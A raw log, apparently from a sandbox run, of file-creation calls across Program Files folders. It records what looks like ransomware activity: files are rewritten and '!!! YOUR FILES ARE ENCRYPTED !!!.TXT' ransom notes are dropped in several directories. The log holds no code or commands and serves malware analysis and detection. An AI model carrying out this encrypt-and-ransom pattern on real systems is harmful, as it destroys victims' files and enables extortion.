Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToNotesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToScenesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToScenesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsNotesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsNotesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsScenesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsScenesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\sports_disc_mask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576_91n92.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\15x15dot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\720x480icongraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\720_480shadow.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\photograph.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-image-inset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\btn-back-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\btn-next-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\btn-previous-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\button-bullet.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\button-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\content-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\header-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\Passport.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passportcover.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\PassportMask.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\PassportMask_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport_mask_left.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport_mask_right.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\Passport_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\play-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\selection_subpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\travel.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMain.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMainMask.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMainMask_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMain_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\203x8subpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\videowall.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\15x15dot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\softedges.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\vignettemask25.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\whiteband.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\sort.exe desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00158_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00010_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00015_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00790_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01218_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01251_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02122_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04196_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04225_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04323_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04326_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04369_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04384_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04385_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BABY_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00116_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00141_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
